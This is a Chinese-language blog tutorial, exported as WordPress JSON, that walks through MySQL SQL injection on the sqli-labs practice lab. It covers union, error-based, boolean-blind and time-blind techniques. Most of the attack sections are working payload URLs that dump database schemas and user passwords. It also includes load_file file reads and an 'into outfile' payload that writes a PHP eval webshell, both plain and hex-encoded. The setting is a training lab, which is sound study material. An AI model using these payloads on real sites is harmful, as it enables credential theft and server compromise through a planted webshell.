{"id":56537,"date":"2025-08-14T20:15:28","date_gmt":"2025-08-14T12:15:28","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/56537.html"},"modified":"2025-08-14T20:15:28","modified_gmt":"2025-08-14T12:15:28","slug":"sql%e6%b3%a8%e5%85%a5","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/56537.html","title":{"rendered":"SQL\u6ce8\u5165"},"content":{"rendered":"

\u672c\u6587\u7ae0\u4e3b\u8981\u4ee5MySQL\u6570\u636e\u5e93\u7684\u6ce8\u5165\u5206\u6790<\/p>\n

\u4e00\u5e93\u4e09\u8868\u516d\u5b57\u6bb5(MySQL)：<\/h3>\n

information\u2014\u2014schema:\u5b83\u662f\u6570\u636e\u5e93\u81ea\u5e26\u7684 \u201c\u5143\u6570\u636e\u4fe1\u606f\u5e93\u201d，\u5b58\u50a8\u7740\u5f53\u524d\u6570\u636e\u5e93\u5b9e\u4f8b\u91cc，\u5173\u4e8e\u6570\u636e\u5e93\u3001\u8868\u3001\u5b57\u6bb5\u7b49\u7ed3\u6784\u7684\u63cf\u8ff0\u4fe1\u606f，\u76f8\u5f53\u4e8e\u6570\u636e\u5e93\u7684 \u201c\u76ee\u5f55\u201d，\u8ba9\u4f60\u80fd\u67e5\u8be2\u6570\u636e\u5e93\u81ea\u8eab\u7684\u7ed3\u6784\u7ec6\u8282 \u3002
\nschemata \u8868：\u5b58\u6570\u636e\u5e93（\u6a21\u5f0f）\u7684\u57fa\u672c\u4fe1\u606f，schema_name \u5b57\u6bb5\u5c31\u662f\u5177\u4f53\u6570\u636e\u5e93\u7684\u540d\u79f0，\u67e5\u6709\u54ea\u4e9b\u6570\u636e\u5e93\u65f6\u53ef\u4ece\u8fd9\u53d6\u3002
\ntables \u8868：\u8bb0\u5f55\u8868\u7684\u4fe1\u606f，table_name \u662f\u8868\u540d，table_schema \u8868\u793a\u8fd9\u5f20\u8868\u6240\u5c5e\u7684\u6570\u636e\u5e93\u540d，\u60f3\u77e5\u9053\u67d0\u4e2a\u5e93\u6709\u54ea\u4e9b\u8868，\u5c31\u67e5\u8fd9\u91cc\u3002
\ncolumns \u8868：\u5b58\u5b57\u6bb5（\u5217）\u4fe1\u606f，column_name \u662f\u5b57\u6bb5\u540d，table_name \u662f\u5b57\u6bb5\u6240\u5c5e\u7684\u8868\u540d，table_schema \u662f\u5b57\u6bb5\u6240\u5c5e\u7684\u6570\u636e\u5e93\u540d，\u67e5\u67d0\u8868\u6709\u54ea\u4e9b\u5b57\u6bb5\u3001\u5b57\u6bb5\u5c5e\u4e8e\u54ea\u4e2a\u5e93 \/ \u8868，\u9760\u5b83\u3002
\n\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

\u6ce8\u5165\u70b9\u5224\u65ad(\u8fd9\u91cc\u4ee5sqli-labs\u4e3a\u80cc\u666f\u8bb2\u89e3):<\/h3>\n

SQL\u6ce8\u5165\u6709\u9996\u5148\u8981\u5224\u65ad\u6ce8\u5165\u70b9，\u6ce8\u5165\u5206\u4e3a\u6570\u5b57\u578b\u6ce8\u5165\u3001\u5b57\u7b26\u578b\u6ce8\u5165<\/p>\n

\u6570\u5b57\u578b\u6ce8\u5165：<\/h4>\n

\u540e\u7aef SQL \u8bed\u53e5\u4e2d，\u53c2\u6570id\u672a\u88ab\u5f15\u53f7\u5305\u88f9，\u4f8b\u5982：<\/p>\n

select * from users where id=1（\u53c2\u6570\u76f4\u63a5\u4f5c\u4e3a\u6570\u5b57\u53c2\u4e0e\u67e5\u8be2）<\/p>\n

\u6b64\u65f6\u5728 URL \u540e\u6dfb\u52a0and 1=1\u6216and 1=2（\u5982?id=1 and 1=2），\u82e5\u9875\u9762\u8fd4\u56de\u7ed3\u679c\u4e0d\u540c，\u53ef\u521d\u6b65\u5224\u65ad\u4e3a\u6570\u5b57\u578b\u6ce8\u5165\u70b9\u3002<\/p>\n

\u5b57\u7b26\u578b\u6ce8\u5165：<\/h4>\n

\u540e\u7aef SQL \u8bed\u53e5\u4e2d，\u53c2\u6570id\u88ab\u5f15\u53f7（\u5355\u5f15\u53f7\u2019\u3001\u53cc\u5f15\u53f7"）\u6216\u62ec\u53f7 + \u5f15\u53f7\u7ec4\u5408\u5305\u88f9，\u4f8b\u5982：<\/p>\n

select * from users where id='1'（\u5355\u5f15\u53f7\u5305\u88f9）
\nselect * from users where id=("1")（\u62ec\u53f7 + \u53cc\u5f15\u53f7\u5305\u88f9）<\/p>\n

\u6b64\u65f6\u6dfb\u52a0\u5355\u5f15\u53f7\u2019（\u5982?id=1\u2019）\u4f1a\u5bfc\u81f4 SQL \u8bed\u53e5\u8bed\u6cd5\u9519\u8bef（\u5f15\u53f7\u4e0d\u95ed\u5408），
\n\u53d8\u6210select * from users where id=\u20181\u2019'，\u8fdb\u800c\u89e6\u53d1\u6570\u636e\u5e93\u62a5\u9519，\u4ee5\u6b64\u5224\u65ad\u4e3a\u5b57\u7b26\u578b\u6ce8\u5165\u70b9\u3002
\n\u82e5\u6dfb\u52a0\u2019\u62a5\u9519：\u8bf4\u660e\u53c2\u6570\u88ab\u5355\u5f15\u53f7\u5305\u88f9（\u5982id=\u20181\u2019）；
\n\u82e5\u6dfb\u52a0"\u62a5\u9519：\u8bf4\u660e\u53c2\u6570\u88ab\u53cc\u5f15\u53f7\u5305\u88f9（\u5982id=\u201c1\u201d）；
\n\u82e5\u6dfb\u52a0)\u62a5\u9519：\u8bf4\u660e\u53c2\u6570\u88ab\u62ec\u53f7 + \u5f15\u53f7\u5305\u88f9（\u5982id=(\u20181\u2019)，\u6dfb\u52a0)\u540e\u53d8\u4e3aid=(\u20181\u2019)\u2018)，\u8bed\u6cd5\u9519\u8bef）；
\n\u7ec4\u5408\u4f7f\u7528（\u5982\u2019) \u201c))\u7b49）：\u7528\u4e8e\u5e94\u5bf9\u66f4\u590d\u6742\u7684\u5305\u88f9\u65b9\u5f0f（\u5982id=((\u201c1\u201d))，\u6dfb\u52a0\u201d))\u53ef\u6253\u7834\u95ed\u5408）\u3002<\/p>\n

\u6ce8\u610f：<\/h4>\n

\u67d0\u4e2a\u5b57\u7b26\u80fd\u6253\u7834\u540e\u7aef\u8bed\u6cd5\u95ed\u5408\u5bfc\u81f4\u62a5\u9519，\u8bf4\u660e\u8be5\u5b57\u7b26\u5bf9\u5e94\u7684\u5305\u88f9\u65b9\u5f0f\u5b58\u5728，\u8fdb\u800c\u786e\u8ba4\u6ce8\u5165\u70b9\u7c7b\u578b(\u56e0\u4e3a\u6ce8\u5165\u7684\u7279\u6b8a\u5b57\u7b26\u7834\u574f\u4e86\u539f\u6709 SQL \u8bed\u53e5\u7684\u8bed\u6cd5\u7ed3\u6784，\u5bfc\u81f4\u6570\u636e\u5e93\u65e0\u6cd5\u6b63\u5e38\u89e3\u6790\u6267\u884c，\u4ece\u800c\u89e6\u53d1\u8bed\u6cd5\u9519\u8bef\u3002)
\n\u4f20\u53c2\u65b9\u5f0f：
\n\u4f20\u53c2\u65b9\u5f0f\u6709\u5f88\u591a\u79cd，\u5e38\u7528\u7684\u6709get\u578b\u3001post\u578b\u3001cookie\u3001User-Agent\u7b49\u65b9\u5f0f，\u6ce8\u5165\u7684\u5185\u5bb9\u4e5f\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u4e0d\u901a\u4f7f\u7528\u4e0d\u540c\u7684\u4f20\u53c2\u65b9\u5f0f<\/p>\n

\u8054\u5408\u6ce8\u5165：\u7b2c\u4e00\u5173<\/h3>\n

\u7b2c\u4e00\u5173（get\u5f62\u5f0f\u4f20\u53c2）
\n\u8865\u5145：
\ngroup_concat(field1,field2,\u2026)\u4f5c\u7528：\u5c06\u591a\u4e2a\u67e5\u8be2\u7ed3\u679c\u8fde\u63a5\u6210\u4e00\u884c
\n\u53c2\u6570field：\u9700\u8981\u53c2\u4e0e\u62fc\u63a5\u7684\u5b57\u6bb5\u540d（\u53ef\u4ee5\u4e00\u4e2a\u6216\u8005\u591a\u4e2a），<\/p>\n

  • \n

    \u5224\u65ad\u6ce8\u5165\u70b9
    \n\u7528\u2019 \u201c ) )) \u56db\u79cd\u65b9\u5f0f\u548c\u5355\u53cc\u5f15\u53f7+\u62ec\u53f7\u7684\u7ec4\u5408\u6765\u5224\u65ad，\u54ea\u4e2a\u9519\u4e86，\u54ea\u4e2a\u5c31\u662f\u6ce8\u5165\u70b9，\u5982\u679c\u90fd\u9519\u4e86，\u90a3\u5c31\u662f\u6570\u5b57\u578b\u6ce8\u5165\u70b9
    \nhttp:\/\/127.0.0.1:8888\/sqli\/Less-1\/?id=1\u2019\u62a5\u9519<\/p>\n<\/li>\n

  • \n

    \u5224\u65ad\u5217\u6570（\u5b57\u6bb5\u6570）：
    \nhttp:\/\/127.0.0.1:8888\/sqli\/Less-1\/?id=1\u2019 order by 3\u2013+
    \n\u6ce8\u610f：\u8fd9\u4e2a\u2019\u2013+\u2019\u5728get\u4f20\u53c2\u4e0d\u80fd\u6f0f，\u5426\u5219\u8fd9\u91cc\u4f1a\u62a5\u9519
    \n\u7b2c\u56db\u4e2a\u5f00\u59cb\u51fa\u73b0\u9519\u8bef，\u90a3\u4e48\u8fd9\u4e2a\u5b57\u6bb5\u5c31\u53ea\u6709\u4e09\u4e2a
    \n\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n<\/li>\n

  • \n

    \u770b\u56de\u663e：<\/p>\n<\/li>\n

    http:\/\/127.0.0.1:8888\/sqli\/Less-1\/?id=-1\u2019 union select 1,2,3 –+<\/p>\n

    \u8054\u5408\u6ce8\u5165\u6700\u91cd\u8981\u7684\u4e00\u6b65，\u8be5\u6b65\u9aa4\u4e0d\u6210\u529f\u6216\u8005\u59cb\u7ec8\u663e\u793a\u548c\u524d\u9762\u540c\u4e00\u4e2a\u9875\u9762，\u4e0d\u662f\u8054\u5408\u6ce8\u5165
    \n\u8fd8\u6709\u8fd9\u4e2aid=-1\u2019\u8fd9\u91cc\u4e00\u5b9a\u8981\u8d1f\u4e00
    \n\u67e5\u770b\u6570\u636e\u5e93\u548c\u7248\u672c：<\/p>\n

    http:\/\/127.0.0.1:8888\/sqli\/Less-1\/?id=-1\u2019 union select 1,database(),version() –+<\/p>\n

    \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"
    \n\u524d\u9762\u56de\u663e\u91cc\u628a2\u548c3\u56de\u663e\u51fa\u6765\u4e86，\u8fd9\u91cc\u6211\u4eec\u57282\u548c3\u7684\u4f4d\u7f6e\u8fdb\u884c\u66ff\u6362\u6210database()\u548cversion()
    \n\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

  • \u7206\u5e93(\u62ff\u5230\u6240\u6709\u8868)：<\/li>\n

    http:\/\/127.0.0.1:8888\/sqli\/Less-1\/?id=-1\u2019 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=\u2018security\u2019),3 –+<\/p>\n

    \u6216\u8005<\/p>\n

    http:\/\/127.0.0.1:8888\/sqli\/Less-1\/?id=-1\u2019union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=\u2018security\u2019\u2013+<\/p>\n

    \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

  • \u7206\u5b57\u6bb5(\u62ff\u5230\u6240\u6709\u5217)：<\/li>\n

    http:\/\/127.0.0.1:8888\/sqli\/Less-1\/?id=-1\u2019 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=\u2018security\u2019 and table_name=\u2018users\u2019),3 –+<\/p>\n

    \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

  • \u83b7\u53d6\u8d26\u53f7\u5bc6\u7801：<\/li>\n

    ?id=-1\u2019 union select 1,(select group_concat(username,id,password) from security.users),3 –+
    \n?id=-1\u2019 union select 1,(select group_concat(username,id,password) from users),3 –+<\/p>\n

    \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

    \u6587\u4ef6\u8bfb\u53d6(\u8054\u5408\u6ce8\u5165\u4e0b\u7684\u6587\u4ef6\u8bfb\u53d6)：<\/h3>\n

    \u6761\u4ef6：
    \n1.\u5f53\u6709\u663e\u793a\u5217\u7684\u65f6\u5019，\u6587\u4ef6\u8bfb\u53ef\u4ee5\u5229\u7528union\u6ce8\u5165
    \n2.\u6ca1\u6709\u663e\u793a\u5217\u7684\u65f6\u5019，\u53ea\u80fd\u5229\u7528\u76f2\u6ce8\u8fdb\u884c\u8bfb\u53d6<\/p>\n

    union\u6ce8\u5165\u8bfb\u53d6\u6587\u4ef6(load_file)<\/h4>\n

    ?id=-1\u2019 union select 1,2,load_file(\u201cD:\/phpstudy_pro\/WWW\/sqli\/kkk.txt\u201d) –+
    \n\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

    \u7406\u8bba\u4e0a\u5e94\u8be5\u662f\u6210\u529f\u7684，\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\u8fd9\u91cc\u4e0d\u663e\u793a
    \n\u8fd9\u91cc\u8fd9\u4e2a\u6587\u4ef6\u8def\u5f84"D:\/phpstudy_pro\/WWW\/sqli\/kkk.txt"\u53ef\u4ee5\u53d8\u6210\u5341\u516d\u8fdb\u5236
    \nunion\u6ce8\u5165\u5199\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c(into outfile)
    \n\/\/\u5229\u7528union\u6ce8\u5165\u5199\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c into outfile \u548c into dumpfile \u90fd\u53ef\u4ee5
    \nhttp:\/\/127.0.0.1\/sqli\/Less-1\/?id=-1\u2019 union select 1,2,\u2018<?php @eval($_POST[aaa]);?>\u2019 into outfile \u2018L:\/4.php\u2019 #
    \n\/\/ \u53ef\u4ee5\u5c06\u4e00\u53e5\u8bdd\u6728\u9a6c\u8f6c\u6362\u621016\u8fdb\u5236\u7684\u5f62\u5f0f
    \nhttp:\/\/127.0.0.1\/sqli\/Less-1\/?id=-1\u2019 union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile \u2018L:\/4.php\u2019 #<\/p>\n

    \u76f2\u6ce8\u8bfb\u53d6\u6587\u4ef6<\/h4>\n

    \/\/\u76f2\u6ce8\u8bfb\u53d6\u7684\u8bdd\u5c31\u662f\u5229\u7528hex\u51fd\u6570，\u5c06\u8bfb\u53d6\u7684\u5b57\u7b26\u4e32\u8f6c\u6362\u621016\u8fdb\u5236，\u518d\u5229\u7528ascii\u51fd\u6570，\u8f6c\u6362\u6210ascii\u7801，\u518d\u5229\u7528\u4e8c\u5206\u6cd5\u4e00\u4e2a\u4e00\u4e2a\u7684\u5224\u65ad\u5b57\u7b26，\u5f88\u590d\u6742，\u4e00\u822c\u7ed3\u5408\u5de5\u5177\u5b8c\u6210
    \nhttp:\/\/127.0.0.1\/sqli\/Less-1\/?id=-1\u2019 and ascii(mid((select hex(load_file(\u2018e:\/3.txt\u2019))),18,1))>49#\u2019 LIMIT 0,1<\/p>\n

    \u62a5\u9519\u6ce8\u5165：\u7b2c\u4e00\u5173<\/h3>\n

    \u8865\u5145
    \nupdatexml(XML_document, XPath_string, new_value)
    \n\u7b2c\u4e00\u4e2a\u53c2\u6570：XML_document \u662f String \u683c\u5f0f，\u4e3a XML \u6587\u6863\u5bf9\u8c61\u7684\u540d\u79f0，\u6587\u4e2d\u4e3a Doc 1
    \n\u7b2c\u4e8c\u4e2a\u53c2\u6570：XPath_string (Xpath \u683c\u5f0f\u7684\u5b57\u7b26\u4e32) ，\u5982\u679c\u4e0d\u4e86\u89e3 Xpath \u8bed\u6cd5，\u53ef\u4ee5\u5728\u7f51\u4e0a\u67e5\u627e\u6559\u7a0b\u3002
    \n\u7b2c\u4e09\u4e2a\u53c2\u6570：new_value，String \u683c\u5f0f，\u66ff\u6362\u67e5\u627e\u5230\u7684\u7b26\u5408\u6761\u4ef6\u7684\u6570\u636e<\/p>\n

  • \n

    \u5224\u65ad：
    \n?id=1\u2019
    \n\u5224\u65ad\u662f\u5426\u4e3a\u62a5\u9519\u6ce8\u5165，\u5728\u5730\u5740\u680f\u91cc\u8f93\u5165\u2019 \u201c ) )) \u56db\u79cd\u65b9\u5f0f\u6216\u8005\u5355\u53cc\u5f15\u53f7+\u62ec\u53f7\u7684\u7ec4\u5408\u6765\u5224\u65ad，\u54ea\u4e2a\u9519\u4e86，\u54ea\u4e2a\u5c31\u662f\u6ce8\u5165\u70b9
    \n\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n<\/li>\n

  • \n

    \u9a8c\u8bc1：
    \n?id=1\u2019 and updatexml(1,0x7e,3); –+
    \n\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"
    \n\u6b63\u5e38\u62a5\u9519，\u4e3a\u62a5\u9519\u6ce8\u5165
    \n\u7206\u5e93(\u83b7\u53d6\u6240\u6709\u8868\u540d)：
    \n\u83b7\u53d6\u5f53\u524d\u6570\u636e\u5e93?id=-1\u2019 and updatexml(1,concat(\u2018~\u2019,database()),3) \u2013 +<\/p>\n<\/li>\n

  • \n

    \u62ff\u8868<\/p>\n<\/li>\n

    ?id=-1\u2019 and updatexml(1,concat(\u2018~\u2019, substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) , 1 , 31) ),3) \u2013 +<\/p>\n

    ?id=1\u2019 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)) –+\u7206\u8868\u51fa\u2019emails,referers,uagents,users<\/sub>\u2019<\/p>\n

    ?id=1\u2019 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=\u2018security\u2019),0x7e),1)) –+\u6362\u6210\u8fd9\u4e2a\u4e5f\u4e00\u6837，\u56e0\u4e3a\u5c31\u662f\u4e0a\u9762\u7684\u5e93\u540d<\/p>\n

    \"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

  • \u7206\u5b57\u6bb5<\/li>\n

    ?id=1\u2019 and (updatexml(1,concat(0x7e,(select group_concat(column_name)
    \nfrom information_schema.columns where table_schema=\u2018security\u2019 and
    \ntable_name =\u2018users\u2019),0x7e),1)) –+\u7206\u51fa\u5b57\u6bb5\u2019id,username,password<\/sub>\u2019
    \n?id=-1\u2019 and updatexml(1,concat(\u2018~\u2019,
    \nsubstr((select users
    \nfrom security ) , 1 , 31) ),3) \u2013 a<\/p>\n

    Substr(string,start,number)
    \nString:\u8981\u622a\u53d6\u7684\u5b57\u7b26\u4e32，start：\u4ece\u54ea\u4e2a\u4f4d\u7f6e\u5f00\u59cb\u622a\u53d6，number：\u622a\u53d6\u7684\u6570\u91cf<\/p>\n

  • \u83b7\u53d6\u8d26\u53f7\u5bc6\u7801：
    \n?id=1\u2019 and (updatexml(1,concat(0x5c,(select group_concat(password,id,username) from users),0x5c),1)) –+
    \n\u62a5\u9519\u6ce8\u5165\u4e2d\u5e38\u89c1\u7684\u62a5\u9519\u51fd\u6570
    \nMySQL<\/li>\n

    \u6ce8\u610f：<\/h4>\n

    \u62a5\u9519\u6ce8\u5165\u5229\u7528\u7684\u51fd\u6570\u6709\u5f88\u591a：
    \nXpath\u683c\u5f0f\u62a5\u9519：updatexml()\u3001extractvalue()
    \n\u4e3b\u952e\u91cd\u590d\u62a5\u9519：floor()
    \n\u6570\u636e\u6ea2\u51fa\u62a5\u9519：exp()
    \n\u975e\u51e0\u4f55\u53c2\u6570\u62a5\u9519：multipoint()\u3001polygon()\u7b49
    \n\u5217\u540d\u91cd\u590d\u62a5\u9519：join\u3001name_const()
    \nSQLserver:
    \nconvert(); \u7528\u6765\u7c7b\u578b\u8f6c\u6362,\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5305\u542b\u7279\u6b8a\u5b57\u7b26\u4f1a\u62a5\u9519
    \ncast(); \u7528\u6765\u7c7b\u578b\u8f6c\u6362,\u53c2\u6570\u5305\u542b\u7279\u6b8a\u5b57\u7b26\u4f1a\u62a5\u9519
    \nOracle:
    \n\u6ca1\u6709\u62a5\u9519\u51fd\u6570,\u53ef\u4ee5\u7528\u6bd4\u8f83\u8fd0\u7b97\u7b26\u62a5\u9519
    \nAccess:
    \n\u4e0d\u652f\u6301\u62a5\u9519\u6ce8\u5165,\u53ea\u80fd\u4f7f\u7528\u679a\u4e3e<\/p>\n

    \u5e03\u5c14\u76f2\u6ce8：\u7b2c\u516b\u5173<\/h3>\n

    \u65f6\u95f4\u76f2\u6ce8\u4f7f\u7528\u5230length()\u3001ascii()\u3001substr()\u3001group_concat()\u4e09\u4e2a\u51fd\u6570
    \n\u4f7f\u7528\u6761\u4ef6：
    \n\u9875\u9762\u6ca1\u6709\u56de\u663e\u4f4d\u7f6e(\u8054\u5408\u6ce8\u5165\u65e0\u6cd5\u4f7f\u7528)，\u6ca1\u6709\u62a5\u9519\u4fe1\u606f(\u62a5\u9519\u6ce8\u5165\u65e0\u6cd5\u4f7f\u7528)，\u9875\u9762\u53ea\u6709\u767b\u5f55\u6210\u529f\u548c\u5931\u8d25\u4e24\u79cd
    \n\u5224\u65ad：
    \n\u8f93\u5165 \u2018 \u201c ) ))\u6216\u8005\u5355\u53cc\u5f15\u53f7\u548c\u5355\u53cc\u62ec\u53f7\u7684\u4e24\u4e24\u7ed3\u5408\u5224\u65ad，\u6b63\u786e\u7684\u5373\u4e3a\u6ce8\u5165\u70b9<\/p>\n

  • \u5224\u65ad\u6ce8\u5165\u70b9<\/li>\n

    \u8f93\u5165?id=1\u201d\u663e\u793a\u6210\u529f
    \n\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/p>\n

  • \u5224\u65ad\u957f\u5ea6
    \n?id=1\u2019 and length((select database()))=8\u2013+
    \n\u8fd9\u4e2a\u5224\u65ad\u6761\u4ef6\u6839\u636e\u5b9e\u9645\u60c5\u51b5\u6539\u53d8<\/li>\n
  • \u5224\u65ad\u4e0e\u679a\u4e3e\u5b57\u7b26
    \n\u62ff\u5e93
    \n\u5224\u65ad\u5e93\u957f\u5ea6
    \n?id=1\u2019 and length((select database()))=8\u2013+
    \n\u9010\u4e00\u786e\u5b9a\u5e93\u5b57\u7b26<\/li>\n

    ?id=1\u2019and ascii(substr((select database()),1,1))=115\u2013+ \u2192s ?id=1\u2019and
    \nascii(substr((select database()),2,1))=101\u2013+ \u2192e ?id=1\u2019and
    \nascii(substr((select database()),3,1))=99\u2013+ \u2192c \u2026 ?id=1\u2019and
    \nascii(substr((select database()),8,1))=121\u2013+ \u2192y<\/p>\n

    \u62ff\u8868
    \n\u5224\u65ad\u8868\u957f\u5ea6<\/p>\n

    ?id=1\u201d and length((select group_concat(table_name) from
    \ninformation_schema.tables where table_schema=database()))>13\u2013+<\/p>\n

    \u9010\u4e00\u786e\u5b9a\u8868\u5b57\u7b26<\/p>\n

    ?id=1\u201d and ascii(substr((select group_concat(table_name) from
    \ninformation_schema.tables where table_schema=database()),1,1))>99\u2013+<\/p>\n

    \u62ff\u5b57\u6bb5
    \n\u5224\u65ad\u5b57\u6bb5\u540d\u957f\u5ea6<\/p>\n

    ?id=1\u201d and length((select group_concat(column_name) from
    \ninformation_schema.columns where table_schema=database() and
    \ntable_name=\u2018users\u2019))>20\u2013+<\/p>\n

    \u9010\u4e00\u5224\u65ad\u5b57\u6bb5\u5177\u4f53\u503c<\/p>\n

    ?id=1\u201d and ascii(substr((select group_concat(column_name) from
    \ninformation_schema.columns where table_schema=database() and
    \ntable_name=\u2018users\u2019),1,1))>99\u2013+<\/p>\n

    \u62ff\u6570\u636e
    \n\u5224\u65ad\u6570\u636e\u957f\u5ea6<\/p>\n

    ?id=1\u201d and length((select group_concat(username,password) from
    \nusers))>109\u2013+<\/p>\n

    \u9010\u4e00\u62ff\u5230\u5b57\u6bb5\u5177\u4f53\u503c<\/p>\n

    ?id=1\u2019 and ascii(substr((select group_concat(username,password) from
    \nusers),1,1))>50\u2013+<\/p>\n

    \u5f0a\u7aef：
    \n\u65f6\u95f4\u590d\u6742\u5ea6\u5927，\u6d88\u8017\u65f6\u95f4\u5de8\u5927
    \n\u4e00\u822c\u7f16\u5199\u811a\u672c\u548c\u4f7f\u7528sqlmap\u7206\u7834<\/p>\n

    \u65f6\u95f4\u76f2\u6ce8(\u5ef6\u65f6\u6ce8\u5165)：\u7b2c\u4e5d\u5173<\/h3>\n

    \u65f6\u95f4\u76f2\u6ce8\u4f7f\u7528\u5230length()\u3001ascii()\u3001substr()\u3001group_concat()\u4e09\u4e2a\u51fd\u6570
    \n\u4f7f\u7528\u6761\u4ef6：
    \n\u65e0\u56de\u663e（\u8054\u5408\u6ce8\u5165\u65e0\u6cd5\u4f7f\u7528）
    \n\u65e0\u62a5\u9519\u4fe1\u606f（\u62a5\u9519\u6ce8\u5165\u65e0\u6cd5\u4f7f\u7528）
    \n\u65e0\u8bba\u6210\u529f\u6216\u8005\u5931\u8d25，\u9875\u9762\u53ea\u54cd\u5e94\u4e00\u79cd\u7ed3\u679c（\u5e03\u5c14\u6ce8\u5165\u65e0\u6cd5\u4f7f\u7528）<\/p>\n

  • \u5224\u65ad
    \n\u4f7f\u7528\u2019 \u201c ) ))\u6216\u8005\u5355\u53cc\u5f15\u53f7\u7684\u4e24\u4e24\u7ec4\u5408\u5747\u8fd4\u56de\u4e00\u79cd\u9875\u9762
    \n\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\"<\/li>\n
  • \u5224\u65ad\u6ce8\u5165\u70b9
    \n\u4f7f\u7528?id=1\u2019and if(1,sleep(5),3) –+
    \n\u524d\u9762id=1\u2019\u662f\u5224\u65ad\u6ce8\u5165\u70b9，\u540e\u9762if(1,sleep(5),3)\u662f\u5ef6\u65f6\u6ce8\u5165\u7684\u6761\u4ef6
    \n\u5982\u679c\u8be5\u8bed\u53e5\u88ab\u6210\u529f\u6267\u884c\u4f1a\u57285\u79d2\u540e\u5237\u65b0\u9875\u9762<\/li>\n
  • \u5224\u65ad\u957f\u5ea6\u4e0e\u679a\u4e3e
    \n\u53d6\u5e93
    \n\u5224\u65ad\u5e93\u957f\u5ea6<\/li>\n

    ?id=1' and if((length(database())>1),sleep(5),3) — +<\/p>\n

    length(database())>1,\u8fd9\u91cc\u76841，\u4f9d\u6b21\u9012\u589e，
    \n\u672c\u5173\u5c31\u662flength(database())>7，\u5ef6\u65f65\u79d2\u8fd4\u56de，length(database())>8\u76f4\u63a5\u8fd4\u56de，\u5219\u5e93\u7684\u957f\u5ea6\u4e3a8\u4f4d（security）
    \n\u9010\u4e00\u5224\u65ad\u5e93\u540d\u7684\u5177\u4f53\u5b57\u7b26<\/p>\n

    ?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)–+ \u2192s
    \n?id=1'and if(ascii(substr((select database()),2,1))=101,sleep(5),1)–+ \u2192e
    \n?id=1'and if(ascii(substr((select database()),1,1))=99,sleep(5),1)–+ \u2192c
    \n?id=1'and if(ascii(substr((select database()),1,1))=121,sleep(5),1)–+ \u2192y<\/p>\n

    \u53d6\u8868
    \n\u5224\u65ad\u8868\u957f\u5ea6<\/p>\n

    ?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)–+
    \n?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>29,sleep(5),1)–+\u7acb\u5373\u8fd4\u56de，\u5219\u8868\u540d\u957f\u5ea6\u4e3a29
    \n\u9010\u4e00\u53d6\u8868\u540d\u5177\u4f53\u5b57\u7b26（\u540c\u4e0a）
    \n?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)–+<\/p>\n

    \u53d6\u5b57\u6bb5
    \n\u5224\u65ad\u5b57\u6bb5\u957f\u5ea6<\/p>\n

    ?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)–+<\/p>\n

    \u9010\u4e00\u53d6\u5b57\u6bb5\u540d<\/p>\n

    ?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)–+<\/p>\n

    \u62ff\u6570\u636e
    \n\u5224\u65ad\u6570\u636e\u957f\u5ea6<\/p>\n

    ?id=1' and if(length(select group_concat(username,password) from users))>109 –+<\/p>\n

    \u9010\u4e00\u786e\u5b9a\u5177\u4f53\u503c<\/p>\n

    ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)–+<\/p>\n

    \u5f0a\u7aef：
    \n\u65f6\u95f4\u590d\u6742\u5ea6\u5927，\u6d88\u8017\u65f6\u95f4\u5de8\u5927
    \n\u5bb9\u6613\u53d7\u7f51\u7edc\u6ce2\u52a8\u7b49\u56e0\u7d20\u5f71\u54cd
    \n\u4e00\u822c\u7f16\u5199\u811a\u672c\u548c\u4f7f\u7528sqlmap\u7206\u7834<\/p>\n

    \u76f2\u6ce8\u4e4b\u6b63\u5219\u8868\u8fbe\u5f0f\u4f7f\u7528<\/h4>\n

    \u67e5\u627ename\u5b57\u6bb5\u4e2d\u4ee5'st'\u4e3a\u5f00\u5934\u7684\u6240\u6709\u6570\u636e
    \nmysql>SELECT name FRoM person tbl WHERE name REGEXP '^st';
